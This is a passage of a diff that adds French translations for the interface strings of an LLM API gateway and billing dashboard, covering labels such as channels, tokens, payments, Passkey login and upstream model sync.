+    "Shared configuration for all payment gateways": "Configuration partagée pour toutes les passerelles de paiement",
+    "Shorten": "Raccourcir",
+    "Show": "Afficher",
+    "Show All": "Tout afficher",
+    "Show all providers including unbound": "Afficher tous les fournisseurs (y compris non liés)",
+    "Show only bound providers": "Afficher uniquement les fournisseurs liés",
+    "Show prices in currency instead of quota.": "Afficher les prix en devise au lieu du quota.",
+    "Show token usage statistics in the UI": "Afficher les statistiques d'utilisation des jetons dans l'interface utilisateur",
+    "Showcase core capabilities with demo credentials and limited access.": "Présenter les fonctionnalités principales avec des identifiants de démonstration et un accès limité.",
+    "Showing": "Affichage de",
+    "showing •": "affichage •",
+    "Sidebar": "Barre latérale",
+    "Sidebar collapsed by default for new users": "Barre latérale masquée par défaut pour les nouveaux utilisateurs",
+    "Sidebar modules": "Modules de la barre latérale",
+    "Sidebar Personal Settings": "Paramètres personnels de la barre latérale",
+    "Sign in": "Se connecter",
+    "Sign In": "Se connecter",
+    "Sign in with Passkey": "Se connecter avec Passkey",
+    "Sign out": "Se déconnecter",
+    "Sign up": "S'inscrire",
+    "Signed in": "Connecté",
+    "Signed in successfully!": "Connecté avec succès !",
+    "Signed in via WeChat": "Connecté via WeChat",
+    "Signed in with Passkey": "Connecté avec Passkey",
+    "Signed out": "Déconnecté",
+    "Signing you in with {{provider}}": "Connexion avec {{provider}}",
+    "SiliconFlow": "SiliconFlow",
+    "Single Key": "Clé unique",
+    "Site Key": "Clé du site",
+    "Size:": "Taille :",
+    "sk_xxx or rk_xxx": "sk_xxx ou rk_xxx",
+    "Skip retry on failure": "Ne pas réessayer en cas d'échec",
+    "Skip to Main": "Aller au contenu principal",
+    "Slug": "Slug",
+    "Slug can only contain letters, numbers, hyphens, and underscores": "Le slug ne peut contenir que des lettres, des chiffres, des tirets et des underscores",
+    "Slug is required": "Le slug est requis",
+    "Slug must be less than 100 characters": "Le slug doit contenir moins de 100 caractères",
+    "Smallest USD amount users can recharge (Epay)": "Montant minimum en USD que les utilisateurs peuvent recharger (Epay)",
+    "SMTP Email": "E-mail SMTP",
+    "SMTP Host": "Hôte SMTP",
+    "smtp.example.com": "smtp.example.com",
+    "socks5://user:pass@host:port": "socks5://user:pass@host:port",
+    "Soft Errors": "Erreurs douces",
+    "Some channels failed: {{errorMsg}}": "Certains canaux ont échoué : {{errorMsg}}",
+    "Something went wrong!": "Quelque chose s'est mal passé !",
+    "Sonnet Model": "Modèle Sonnet",
+    "Sora": "Sora",
+    "Sort": "Trier",
+    "Sort by ID": "Trier par ID",
+    "Sort Order": "Ordre de tri",
+    "Source": "Source",
+    "sources": "sources",
+    "Space-separated OAuth scopes": "Scopes OAuth séparés par des espaces",
+    "Spark model version, e.g., v2.1 (version number in API URL)": "Version du modèle Spark, par exemple v2.1 (numéro de version dans l'URL de l'API)",
+    "Special usable group rules": "Règles spéciales de groupes utilisables",
+    "SQLite stores all data in a single file. Make sure that file is persisted when running in containers.": "SQLite stocke toutes les données dans un seul fichier. Assurez-vous que ce fichier est persisté lors de l'exécution dans des conteneurs.",
+    "SSRF Protection": "Protection SSRF",
+    "Standard": "Standard",
+    "Start": "Début",
+    "Start a conversation to see messages here": "Démarrez une conversation pour voir les messages ici",
+    "Start for free with generous limits. No credit card required.": "Commencez gratuitement avec des limites généreuses. Aucune carte de crédit requise.",
+    "Start Time": "Heure de début",
+    "Static page describing the platform.": "Page statique décrivant la plateforme.",
+    "Statistical count": "Nombre statistique",
+    "Statistical quota": "Quota statistique",
+    "Statistical tokens": "Jetons statistiques",
+    "Statistics reset": "Statistiques réinitialisées",
+    "Status": "Statut",
+    "Status & Sync": "Statut et synchronisation",
+    "Status Code Mapping": "Mappage des codes d'état",
+    "Status Page Slug": "Slug de la page d'état",
+    "Status:": "Statut :",
+    "Stay": "Rester",
+    "Stay tuned though!": "Restez à l'écoute cependant !",
+    "Step": "Étape",
+    "Stop": "Arrêter",
+    "Store ID": "ID du magasin",
+    "Store ID is required": "L'ID de magasin est requis",
+    "Stored value is not echoed back for security": "Par sécurité, la valeur enregistrée n'est pas affichée",
+    "stream": "Flux",
+    "Stream": "Flux",
+    "Stream Mode": "Mode streaming",
+    "Stream Status": "Statut du flux",
+    "Stripe": "Stripe",
+    "Stripe API key (leave blank unless updating)": "Clé API Stripe (laisser vide sauf en cas de mise à jour)",
+    "Stripe Dashboard": "Tableau de bord Stripe",
+    "Stripe Gateway": "Passerelle Stripe",
+    "Stripe product price ID": "ID de prix du produit Stripe",
+    "Stripe/Creem requires creating products on the third-party platform and entering the ID": "Stripe/Creem nécessite de créer des produits sur la plateforme tierce et d'entrer l'ID",
+    "Submit": "Soumettre",
+    "Submit directly": "Soumettre directement",
+    "Submit Result": "Soumettre le résultat",
+    "Submit Time": "Heure de soumission",
+    "Submitted": "Soumis",
+    "Submitting": "Envoi en cours",
+    "Submitting...": "Envoi...",
+    "Submodel": "Submodel",
+    "Subscribe Now": "S'abonner maintenant",
+    "Subscription": "Abonnement",
+    "Subscription Billing": "Facturation d'abonnement",
+    "Subscription First": "Abonnement en priorité",
+    "Subscription Management": "Gestion des abonnements",
+    "Subscription Only": "Abonnement uniquement",
+    "Subscription Plans": "Plans d'abonnement",
+    "Subtract": "Soustraire",
+    "Success": "Succès",
+    "Successfully created {{count}} API Key(s)": "{{count}} clé(s) API créée(s) avec succès",
+    "Successfully created {{count}} redemption codes": "{{count}} codes de réduction créés avec succès",
+    "Successfully deleted {{count}} API key(s)": "{{count}} clé(s) API supprimée(s) avec succès",
+    "Successfully deleted {{count}} invalid redemption codes": "{{count}} code(s) d'échange invalide(s) supprimé(s) avec succès",
+    "Successfully deleted {{count}} model(s)": "{{count}} modèle(s) supprimé(s) avec succès",
+    "Successfully disabled {{count}} model(s)": "{{count}} modèle(s) désactivé(s) avec succès",
+    "Successfully enabled {{count}} model(s)": "{{count}} modèle(s) activé(s) avec succès",
+    "Suffix": "Suffixe",
+    "Suffix Match": "Correspondance de suffixe",
+    "SunoAPI": "SunoAPI",
+    "Super Admin": "Super Administrateur",
+    "Support for high concurrency with automatic load balancing": "Prise en charge de la haute concurrence avec équilibrage de charge automatique",
+    "Supported Imagine Models": "Modèles Imagine pris en charge",
+    "Supports `-thinking`, `-thinking-": "Prend en charge `-thinking`, `-thinking-",
+    "Supports HTML markup or iframe embedding. Enter HTML code directly, or provide a complete URL to automatically embed it as an iframe.": "Prend en charge le balisage HTML ou l'intégration d'iframe. Entrez le code HTML directement, ou fournissez une URL complète pour l'intégrer automatiquement en tant qu'iframe.",
+    "Supports PNG, JPG, SVG, or WebP. Recommended size: 128×128 or smaller.": "Prend en charge PNG, JPG, SVG ou WebP. Taille recommandée : 128×128 ou moins.",
+    "Swap Face": "Échanger le visage",
+    "Switch affinity on success": "Changer l'affinité en cas de succès",
+    "Switch between the new frontend and the classic frontend. Changes take effect after page reload.": "Basculer entre le nouveau frontend et le frontend classique. Les modifications prennent effet après le rechargement de la page.",
+    "Switch to JSON": "Passer à JSON",
+    "Switch to Visual": "Passer à l'affichage visuel",
+    "Sync Endpoint": "Point de terminaison de synchronisation",
+    "Sync Fields": "Synchroniser les champs",
+    "Sync from the public upstream metadata repository.": "Synchroniser depuis le dépôt de métadonnées public en amont.",
+    "Sync this model with official upstream": "Synchroniser ce modèle avec la source amont officielle",
+    "Sync Upstream": "Synchroniser l'amont",
+    "Sync Upstream Models": "Synchroniser les modèles amont",
+    "Synchronize models and vendors from an upstream source": "Synchroniser les modèles et les fournisseurs à partir d'une source amont",
+    "Syncing prices, please wait...": "Synchronisation des prix, veuillez patienter...",
+    "System": "Système",
+    "System Administration": "Administration du système",
+    "System Announcements": "Annonces système",
+    "System Behavior": "Comportement du système",
+    "System data statistics": "Statistiques des données système",
+    "System Information": "Informations système",
+    "System initialized successfully! Redirecting…": "Système initialisé avec succès ! Redirection…",
+    "System logo": "Logo du système",
+    "System maintenance": "Maintenance du système",
+    "System Memory": "Mémoire système",
+    "System Memory Stats": "Statistiques de la mémoire système",
+    "System Name": "Nom du système",
+    "System name is required": "Le nom du système est requis",
+    "System Notice": "Avis système",
+    "System Performance Monitoring": "Surveillance des performances système",
+    "System Prompt": "Invite système",
+    "System Prompt Concatenation": "Concaténation des invites système",
+    "System Prompt Override": "Remplacement du prompt système",
+    "System settings": "Paramètres système",
+    "System Settings": "Paramètres du système",
+    "System setup wizard": "Assistant de configuration du système",
+    "System task records": "Historique des tâches système",
+    "System Version": "Version du système",
+    "Table view": "Vue en tableau",
+    "Tag": "Balise",
+    "Tag Aggregate": "Agrégat de balises",
+    "Tag Mode": "Mode Balise",
+    "Tag Name": "Nom de l'étiquette",
+    "Tag set successfully": "Tag défini avec succès",
+    "Tag updated successfully": "Tag mis à jour avec succès",
+    "Tag:": "Balise :",
+    "Tags": "Balises",
+    "Take photo": "Prendre une photo",
+    "Take screenshot": "Prendre une capture d'écran",
+    "Target group": "Groupe cible",
+    "Task": "Tâche",
+    "Task ID": "ID de la tâche",
+    "Task ID:": "ID de tâche :",
+    "Task logs": "Journaux des tâches",
+    "Task Logs": "Journaux de tâches",
+    "Team Collaboration": "Collaboration d'équipe",
+    "Technical Support": "Support technique",
+    "Telegram": "Telegram",
+    "Telegram login requires widget integration; coming soon": "La connexion Telegram nécessite l'intégration d'un widget ; disponible bientôt",
+    "Telegram Login Widget": "Widget de connexion Telegram",
+    "Template variables:": "Variables de modèle :",
+    "Templates": "Modèles",
+    "Templates appended": "Modèles ajoutés",
+    "Tencent": "Tencent",
+    "Termination requested": "Arrêt demandé",
+    "Test All Channels": "Tester tous les canaux",
+    "Test Channel Connection": "Tester la connexion du canal",
+    "Test Connection": "Tester la connexion",
+    "Test connectivity for:": "Tester la connectivité pour :",
+    "Test interval (minutes)": "Intervalle de test (minutes)",
+    "Test Latency": "Tester la latence",
+    "Test Mode": "Mode test",
+    "Test Model": "Tester le modèle",
+    "Testing all enabled channels started. Please refresh to see results.": "Test de tous les canaux activés démarré. Veuillez actualiser pour voir les résultats.",
+    "Testing...": "Test en cours...",
+    "Text Input": "Entrée texte",
+    "Text Output": "Sortie texte",
+    "Text to Video": "Texte vers vidéo",
+    "The administrator account is already initialized. You can keep your existing credentials and continue to the next step.": "Le compte administrateur est déjà initialisé. Vous pouvez conserver vos identifiants existants et passer à l'étape suivante.",
+    "The administrator configured an external link for this document.": "L'administrateur a configuré un lien externe pour ce document.",
+    "The administrator has not configured a privacy policy yet.": "L'administrateur n'a pas encore configuré de politique de confidentialité.",
+    "The administrator has not configured a user agreement yet.": "L'administrateur n'a pas encore configuré d'accord utilisateur.",
+    "The administrator has not configured any about content yet. You can set it in the settings page, supporting HTML or URL.": "L'administrateur n'a pas encore configuré de contenu 'À propos'. Vous pouvez le définir dans la page des paramètres, en supportant le HTML ou l'URL.",
+    "The binding will complete automatically after authorization": "La liaison se terminera automatiquement après l'autorisation",
+    "The effective domain for Passkey registration. Must match the current domain or be its parent domain.": "Le domaine effectif pour l'enregistrement de la clé d'accès. Doit correspondre au domaine actuel ou être son domaine parent.",
+    "The exact model identifier as used in API requests.": "L'identifiant exact du modèle tel qu'utilisé dans les requêtes API.",
+    "The following models have billing type conflicts (fixed price vs ratio billing). Confirm to proceed with the changes.": "Les modèles suivants présentent des conflits de type de facturation (prix fixe vs facturation au ratio). Confirmez pour procéder aux changements.",
+    "The following models in the model redirect have not been added to the \"Models\" list and may fail during invocation due to missing available models:": "Les modèles suivants dans la redirection du modèle n'ont pas été ajoutés à la liste \"Modèles\" et peuvent échouer lors de l'invocation en raison de modèles disponibles manquants :",
+    "The mapped upstream model(s)": "Le(s) modèle(s) amont mappé(s)",
+    "The model you're looking for doesn't exist.": "Le modèle que vous recherchez n'existe pas.",
+    "The name displayed across the application": "Le nom affiché dans l'application",
+    "The public URL of your server, used for OAuth callbacks, webhooks, and other external integrations": "L'URL publique de votre serveur, utilisée pour les rappels OAuth, les webhooks et autres intégrations externes",
+    "The requested chat preset does not exist or has been removed.": "Le préréglage de discussion demandé n'existe pas ou a été supprimé.",
+    "The setup wizard will use this database during initialization.": "L'assistant de configuration utilisera cette base de données lors de l'initialisation.",
+    "The site is not available at the moment.": "Le site n'est pas disponible pour le moment.",
+    "The slug is appended to the URL:": "Le slug est ajouté à l'URL :",
+    "The sync will fetch missing models and vendors from the selected source. Existing records are updated only when you approve conflicts.": "La synchronisation récupérera les modèles et fournisseurs manquants à partir de la source sélectionnée. Les enregistrements existants ne sont mis à jour que lorsque vous approuvez les conflits.",
+    "The token group that will have a custom ratio": "Le groupe de jetons qui aura un ratio personnalisé",
+    "The unique identifier for this model": "L'identifiant unique de ce modèle",
+    "The unique name for this vendor": "Le nom unique de ce fournisseur",
+    "The URL for this chat client.": "L'URL de ce client de discussion.",
+    "Theme": "Thème",
+    "Theme Settings": "Paramètres du thème",
+    "There are both add and remove models pending, but you only selected one type. Confirm submitting only the selected items?": "Il y a à la fois des modèles à ajouter et à supprimer, mais vous n'avez sélectionné qu'un seul type. Confirmer l'envoi uniquement des éléments sélectionnés ?",
+    "These models are still in your selection but were not returned by the upstream listing. Entries that are only model_mapping source aliases are omitted. Toggle to adjust before saving.": "Ces modèles restent encore sélectionnés mais ne figurent pas dans la liste renvoyée par l'amont ; les noms qui sont uniquement des clés sources de model_mapping sont exclus. Modifiez la sélection avant d'enregistrer.",
+    "These toggles affect whether certain request fields are passed through to the upstream provider.": "Ces bascules déterminent si certains champs de demande sont transmis au fournisseur en amont.",
+    "Thinking Adapter": "Adaptateur de réflexion",
+    "Thinking to Content": "Réflexion vers Contenu",
+    "Third-party account bindings (read-only, managed by user in profile settings)": "Liaisons de comptes tiers (lecture seule, gérées par l'utilisateur dans les paramètres de profil)",
+    "Third-party Payment Config": "Configuration de paiement tiers",
+    "This action cannot be undone.": "Cette action est irréversible.",
+    "This action cannot be undone. This will permanently delete your account and remove all your data from our servers.": "Cette action est irréversible. Cela supprimera définitivement votre compte et toutes vos données de nos serveurs.",
+    "This action will permanently remove 2FA protection from your account.": "Cette action supprimera définitivement la protection 2FA de votre compte.",
+    "This channel is not an Ollama channel.": "Ce canal n'est pas un canal Ollama.",
+    "This channel type does not support fetching models": "Ce type de canal ne prend pas en charge la récupération de modèles",
+    "This data may be unreliable, use with caution": "Ces données peuvent être peu fiables, utilisez-les avec prudence",
+    "This device does not support Passkey": "Cet appareil ne prend pas en charge Passkey",
+    "This device does not support Passkey verification.": "Cet appareil ne prend pas en charge la vérification par clé d'accès.",
+    "This expression is too complex for the visual editor. Please switch to expression mode to edit.": "Cette expression est trop complexe pour l'éditeur visuel. Passez en mode expression pour la modifier.",
+    "This feature is experimental. Configuration format and behavior may change.": "Cette fonctionnalité est expérimentale. Le format de configuration et le comportement peuvent changer.",
+    "This feature requires server-side WeChat configuration": "Cette fonctionnalité nécessite une configuration WeChat côté serveur",
+    "This may cause cache failures.": "Cela peut provoquer des échecs de cache.",
+    "This may take a few moments while we validate the request and update your session.": "Cela peut prendre quelques instants pendant que nous validons la requête et mettons à jour votre session.",
+    "This model has both fixed price and ratio billing conflicts": "Ce modèle présente des conflits de facturation à la fois en prix fixe et au ratio",
+    "This model is not available in any group, or no group pricing information is configured.": "Ce modèle n'est disponible dans aucun groupe, ou aucune information de tarification de groupe n'est configurée.",
+    "This month": "Ce mois-ci",
+    "This page has not been created yet.": "Cette page n'a pas encore été créée.",
+    "This project must be used in compliance with the": "Ce projet doit être utilisé conformément aux",
+    "This record was written by a pre-upgrade instance and lacks audit info. Upgrade the instance to record server IP, callback IP, payment method and system version.": "Cet enregistrement provient d’une instance avant la mise à niveau et n’inclut pas d’audits. Mettez à jour l’instance pour enregistrer l’IP du serveur, l’IP de callback, le moyen de paiement et la version du système.",
+    "this token group": "ce groupe de jetons",
+    "this user group": "ce groupe d'utilisateurs",
+    "This user has no bindings": "Cet utilisateur n'a aucune liaison",
+    "This week": "Cette semaine",
+    "This will append 2 template rules (Codex CLI and Claude CLI) to the existing rule list.": "Cela ajoutera 2 règles modèles (Codex CLI et Claude CLI) à la liste de règles existante.",
+    "This will clear custom pricing ratios and revert to upstream defaults.": "Cela effacera les ratios de tarification personnalisés et rétablira les valeurs par défaut du fournisseur.",
+    "This will delete all": "Cela supprimera tout",
+    "This will delete all channel affinity cache entries still in memory.": "Cela supprimera toutes les entrées de cache d'affinité de canal encore en mémoire.",
+    "This will delete temporary cache files that have not been used for more than 10 minutes": "Cela supprimera les fichiers de cache temporaires inutilisés depuis plus de 10 minutes",
+    "This will extend the deployment by the specified hours.": "Cela prolongera le déploiement du nombre d'heures spécifié.",
+    "This will permanently delete API key": "Cela supprimera définitivement la clé API",
+    "This will permanently delete redemption code": "Cela supprimera définitivement le code d'échange",
+    "This will permanently delete user": "Cela supprimera définitivement l'utilisateur",
+    "This will permanently remove all log entries created before {{date}}.": "Cela supprimera définitivement toutes les entrées de journal créées avant le {{date}}.",
+    "This will permanently remove log entries before the selected timestamp.": "Cela supprimera définitivement les entrées de journal antérieures à l'horodatage sélectionné.",
+    "Three steps to get started": "Trois étapes pour commencer",
+    "Tier": "Palier",
+    "Tier name": "Nom du palier",
+    "Tiered": "Par paliers",
+    "Tiered (billing expression)": "Par paliers (expression de facturation)",
+    "Tiered price table": "Grille de prix par paliers",
+    "Time": "Heure",
+    "Time Granularity": "Granularité temporelle",
+    "Time remaining": "Temps restant",
+    "Time window for rate limiting": "Fenêtre de temps pour la limitation de débit",
+    "Time-based": "Selon l’heure",
+    "Time:": "Heure :",
+    "Timed cache (1h)": "Cache limité (1h)",
+    "Timeline": "Chronologie",
+    "times": "Fois",
+    "Timing": "Durée",
+    "Tip: The generated key is a JSON credential including access_token / refresh_token / account_id.": "Conseil : La clé générée est un identifiant JSON incluant access_token / refresh_token / account_id.",
+    "to access this resource.": "pour accéder à cette ressource.",
+    "to confirm": "pour confirmer",
+    "To Lower": "En minuscules",
+    "to override billing when a user in one group uses a token of another group.": "pour remplacer la facturation lorsqu'un utilisateur d'un groupe utilise un jeton d'un autre groupe.",
+    "to the Models list so users can use them before the mapping sends traffic upstream.": "à la liste des modèles afin que les utilisateurs puissent les utiliser avant que le mappage n'envoie le trafic en amont.",
+    "To Upper": "En majuscules",
+    "to view this resource.": "pour afficher cette ressource.",
+    "Today": "Aujourd'hui",
+    "Toggle columns": "Basculer les colonnes",
+    "Toggle navigation menu": "Basculer le menu de navigation",
+    "Toggle plan": "Basculer le plan",
+    "Toggle theme": "Basculer le thème",
+    "Token": "Jeton",
+    "Token Breakdown": "Détails des tokens",
+    "Token Endpoint": "Point de terminaison de jeton",
+    "Token Endpoint (Optional)": "Point de terminaison du jeton (Facultatif)",
+    "Token estimator": "Estimation des jetons",
+    "Token management": "Gestion des jetons",
+    "Token Management": "Gestion des tokens",
+    "Token Mgmt": "Gestion des jetons",
+    "Token Name": "Nom du jeton",
+    "Token obtained from your Gotify application": "Jeton obtenu depuis votre application Gotify",
+    "Token regenerated and copied to clipboard": "Jeton régénéré et copié dans le presse-papiers",
+    "Token unit": "Unité de tokens",
+    "Token-based": "Basé sur les jetons",
+    "tokens": "jetons",
+    "Tokens": "Jeton",
+    "Tokens Only": "Jetons uniquement",
+    "Tokens per minute": "Jetons par minute",
+    "Tokens-only mode will show raw quota values regardless of this toggle.": "Le mode Tokens uniquement affichera les valeurs de quota brutes indépendamment de ce basculement.",
+    "Too many files. Some were not added.": "Trop de fichiers. Certains n'ont pas été ajoutés.",
+    "Tool identifier": "Identifiant d’outil",
+    "Tool price settings": "Paramètres de prix des outils",
+    "Tool prices": "Prix des outils",
+    "Top {{count}}": "Top {{count}}",
+    "Top Models": "Top Modèles",
+    "Top Users": "Top utilisateurs",
+    "Top up balance and view billing history.": "Recharger le solde et consulter l'historique de facturation.",
+    "Top-up": "Recharge",
+    "Top-up amount options": "Options de montant de recharge",
+    "Top-up Audit Info": "Audits de rechargement",
+    "Top-up group ratios": "Ratios de groupe de recharge",
+    "Top-Up Link": "Lien de recharge",
+    "top-up ratio": "ratio de recharge",
+    "Topup Amount": "Montant de la recharge",
+    "Total": "Total",
+    "Total Allocated": "Total alloué",
+    "Total check-ins": "Total des connexions",
+    "Total consumed": "Consommé total",
+    "Total consumed quota": "Quota total consommé",
+    "Total cost": "Coût total",
+    "Total Cost": "Coût total",
+    "Total Count": "Nombre total",
+    "Total earned": "Total gagné",
+    "Total Earned": "Total gagné",
+    "Total GPUs": "GPUs totaux",
+    "Total invitation revenue": "Revenu total des invitations",
+    "Total Log Size": "Taille totale des journaux",
+    "Total Quota": "Quota total",
+    "Total requests allowed per period. 0 = unlimited.": "Total des requêtes autorisées par période. 0 = illimité.",
+    "Total requests made": "Requêtes totales effectuées",
+    "Total Tokens": "Jetons totaux",
+    "Total Usage": "Utilisation totale",
+    "Total:": "Total :",
+    "TPM": "TPM",
+    "Track per-request consumption to power usage analytics. Keeping this on increases database writes.": "Suivre la consommation par requête pour l'analyse de l'utilisation. Garder ceci activé augmente les écritures en base de données.",
+    "Track usage, costs and performance with real-time analytics": "Suivez l'utilisation, les coûts et les performances avec des analyses en temps réel",
+    "Tracks current account base limits and additional metered usage on Codex upstream.": "Affiche les limites de base et l’utilisation supplémentaire (metered) du compte auprès de Codex en amont.",
+    "Transfer": "Transférer",
+    "Transfer Amount": "Montant du transfert",
+    "Transfer failed": "Transfert échoué",
+    "Transfer Rewards": "Transférer les récompenses",
+    "Transfer successful": "Transfert réussi",
+    "Transfer to Balance": "Transférer vers le solde",
+    "Translate `-thinking` suffixes into Anthropic native thinking models while keeping pricing predictable.": "Traduire les suffixes `-thinking` en modèles de réflexion natifs Anthropic tout en gardant une tarification prévisible.",
+    "Transparent Billing": "Facturation transparente",
+    "Trim Prefix": "Supprimer le préfixe",
+    "Trim Space": "Supprimer les espaces",
+    "Trim Suffix": "Supprimer le suffixe",
+    "Trusted": "Fiable",
+    "Try adjusting your search to locate a missing model.": "Essayez d'ajuster votre recherche pour localiser un modèle manquant.",
+    "TTL": "TTL",
+    "TTL (seconds, 0 = default)": "TTL (secondes, 0 = par défaut)",
+    "TTL (seconds)": "TTL (secondes)",
+    "Turnstile is enabled but site key is empty.": "Turnstile est activé mais la clé du site est vide.",
+    "Two-factor Authentication": "Authentification à deux facteurs",
+    "Two-Factor Authentication": "Authentification à deux facteurs",
+    "Two-factor authentication disabled": "Authentification à deux facteurs désactivée",
+    "Two-factor authentication enabled successfully!": "Authentification à deux facteurs activée avec succès!",
+    "Two-factor authentication reset": "Authentification à deux facteurs réinitialisée",
+    "Two-Step Verification": "Validation en deux étapes",
+    "Type": "Type",
+    "Type *": "Type *",
+    "Type a command or search...": "Tapez une commande ou recherchez...",
+    "Type-Specific Settings": "Paramètres spécifiques au type",
+    "Type:": "Type :",
+    "UI granularity only &mdash; data is still aggregated hourly": "Granularité de l'interface uniquement &mdash; les données sont toujours agrégées par heure",
+    "Unable to estimate price for this deployment.": "Impossible d'estimer le prix pour ce déploiement.",
+    "Unable to generate chat link. Please contact your administrator.": "Impossible de générer le lien de discussion. Veuillez contacter votre administrateur.",
+    "Unable to load groups": "Impossible de charger les groupes",
+    "Unable to open chat": "Impossible d'ouvrir la discussion",
+    "Unable to prepare chat link. Please ensure you have an enabled API key.": "Impossible de préparer le lien de chat. Veuillez vous assurer d'avoir une clé API activée.",
+    "Unauthorized Access": "Accès non autorisé",
+    "Unbind": "Dissocier",
+    "Unbind failed": "Échec de la dissociation",
+    "Unbound {{provider}}": "{{provider}} dissocié",
+    "Unexpected release payload": "Format de version inattendu",
+    "Unified API Gateway for": "Passerelle API unifiée pour",
+    "Unique identifier for this group.": "Identifiant unique pour ce groupe.",
+    "Unit price (local currency / USD)": "Prix unitaire (devise locale / USD)",
+    "Unit price (USD)": "Prix unitaire (USD)",
+    "Unit price must be greater than 0": "Le prix unitaire doit être supérieur à 0",
+    "Units per USD": "Unités par USD",
+    "Unknown": "Inconnu",
+    "Unknown version": "Version inconnue",
+    "Unlimited": "Illimité",
+    "Unlimited Quota": "Quota illimité",
+    "Unsaved changes": "Modifications non enregistrées",
+    "Until": "Jusqu'au",
+    "Untitled": "Sans titre",
+    "Untrusted upstream data:": "Données amont non fiables :",
+    "Unused": "Inutilisé",
+    "Update": "Mettre à jour",
+    "Update All Balances": "Mettre à jour tous les soldes",
+    "Update API Key": "Mettre à jour la clé API",
+    "Update Balance": "Mettre à jour le solde",
+    "Update balance for:": "Mise à jour du solde pour :",
+    "Update Channel": "Mettre à jour le canal",
+    "Update channel configuration and click save when you're done.": "Mettez à jour la configuration du canal et cliquez sur Enregistrer lorsque vous avez terminé.",
+    "Update configuration": "Mettre à jour la configuration",
+    "Update failed": "Échec de la mise à jour",
+    "Update Model": "Mettre à jour le modèle",
+    "Update model configuration and click save when you're done.": "Mettez à jour la configuration du modèle et cliquez sur Enregistrer lorsque vous avez terminé.",
+    "Update plan info": "Mettre à jour les informations du plan",
+    "Update Provider": "Mettre à jour le fournisseur",
+    "Update Redemption Code": "Mettre à jour le code d'échange",
+    "Update succeeded": "Mise à jour réussie",
+    "Update the API key by providing necessary info.": "Mettez à jour la clé API en fournissant les informations nécessaires.",
+    "Update the configuration for this custom OAuth provider.": "Mettre à jour la configuration de ce fournisseur OAuth personnalisé.",
+    "Update the redemption code by providing necessary info.": "Mettez à jour le code de remboursement en fournissant les informations nécessaires.",
+    "Update the reusable bundle below.": "Mettez à jour le bundle réutilisable ci-dessous.",
+    "Update the user by providing necessary info.": "Mettre à jour l'utilisateur en fournissant les informations nécessaires.",
+    "Update vendor information for {{name}}": "Mettre à jour les informations du fournisseur pour {{name}}",
+    "Update your password for account:": "Mettez à jour votre mot de passe pour le compte :",
+    "Update your password to keep your account secure": "Mettez à jour votre mot de passe pour sécuriser votre compte",
+    "Updated": "Mis à jour",
+    "Updated successfully": "Mise à jour réussie",
+    "Updating all channel balances. This may take a while. Please refresh to see results.": "Mise à jour de tous les soldes des canaux. Cela peut prendre un certain temps. Veuillez actualiser pour voir les résultats.",
+    "Upgrade Group": "Groupe de mise à niveau",
+    "Upload": "Téléverser",
+    "Upload a single service account JSON file": "Télécharger un seul fichier JSON de compte de service",
+    "Upload file": "Téléverser un fichier",
+    "Upload files": "Téléverser des fichiers",
+    "Upload multiple JSON files in batch modes": "Télécharger plusieurs fichiers JSON en mode batch",
+    "Upload or reference a local configuration file.": "Chargez ou référencez un fichier de configuration local.",
+    "Upload photo": "Téléverser une photo",
+    "Upscale": "Agrandir",
+    "Upstream": "Amont",
+    "Upstream Model Update Check": "Vérification des mises à jour des modèles en amont",
+    "Upstream Model Updates": "Mises à jour des modèles en amont",
+    "Upstream model updates applied: {{added}} added, {{removed}} removed, {{ignored}} ignored this time, {{totalIgnored}} total ignored models": "Mises à jour des modèles en amont appliquées : {{added}} ajoutés, {{removed}} supprimés, {{ignored}} ignorés cette fois, {{totalIgnored}} modèles ignorés au total",
+    "Upstream price sync": "Synchronisation amont des prix",
+    "Upstream prices fetched successfully": "Prix amont récupérés avec succès",
+    "Upstream ratios fetched successfully": "Ratios en amont récupérés avec succès",
+    "Upstream Response": "Réponse amont",
+    "Upstream Updates": "Mises à jour en amont",
+    "uptime": "disponibilité",
+    "Uptime": "Temps de fonctionnement",
+    "Uptime Kuma": "Uptime Kuma",
+    "Uptime Kuma groups saved successfully": "Groupes Uptime Kuma sauvegardés avec succès",
+    "Uptime Kuma URL": "URL Uptime Kuma",
+    "Uptime since": "Temps de fonctionnement depuis",
+    "URL": "URL",
+    "URL is required": "L'URL est requise",
+    "URL to your logo image (optional)": "URL de votre image de logo (facultatif)",
+    "Usage": "Utilisation",
+    "Usage logs": "Journaux d'utilisation",
+    "Usage Logs": "Journaux d'utilisation",
+    "Usage mode": "Mode d'utilisation",
+    "Usage-based": "Basé sur l'utilisation",
+    "USD": "USD",
+    "USD Exchange Rate": "Taux de change USD",
+    "Use a compatible browser or device with biometric authentication or a security key to register a Passkey.": "Utilisez un navigateur ou un appareil compatible avec l'authentification biométrique ou une clé de sécurité pour enregistrer une clé d'accès (Passkey).",
+    "Use authenticator code": "Utiliser le code de l'authentificateur",
+    "Use backup code": "Utiliser un code de secours",
+    "Use disk cache when request body exceeds this size": "Utiliser le cache disque quand le corps de requête dépasse cette taille",
+    "Use our unified OpenAI-compatible endpoint in your applications": "Utilisez notre point de terminaison unifié compatible OpenAI dans vos applications",
+    "Use Passkey to sign in without entering your password.": "Utilisez une clé d'accès (Passkey) pour vous connecter sans saisir votre mot de passe.",
+    "Use secure connection when sending emails": "Utiliser une connexion sécurisée lors de l'envoi d'e-mails",
+    "Use sidebar shortcut": "Utiliser le raccourci de la barre latérale",
+    "Use this token for API authentication": "Utilisez ce jeton pour l'authentification API",
+    "Use your Passkey": "Utiliser votre clé d'accès (Passkey)",
+    "used": "utilisé",
+    "Used": "Utilisé",
+    "Used / Remaining": "Utilisé / Restant",
+    "Used for load balancing. Higher weight = more requests": "Utilisé pour l'équilibrage de charge. Poids plus élevé = plus de requêtes",
+    "Used in URLs and API routes": "Utilisé dans les URLs et les routes API",
+    "Used Quota": "Quota utilisé",
+    "Used to authenticate with io.net deployment API": "Utilisée pour l'authentification auprès de l'API de déploiement io.net",
+    "Used to authenticate with the worker. Leave blank to keep the existing secret.": "Utilisé pour l'authentification auprès du worker. Laissez vide pour conserver le secret existant.",
+    "Used:": "Utilisé :",
+    "User": "Utilisateurs",
+    "User {{id}}": "Utilisateur {{id}}",
+    "User Agreement": "Accord utilisateur",
+    "User Analytics": "Statistiques utilisateur",
+    "User Consumption Ranking": "Classement de consommation",
+    "User Consumption Trend": "Tendance de consommation",
+    "User created successfully": "Utilisateur créé avec succès",
+    "User dashboard and quota controls.": "Tableau de bord utilisateur et contrôles de quotas.",
+    "User Exclusive Ratio": "Ratio exclusif utilisateur",
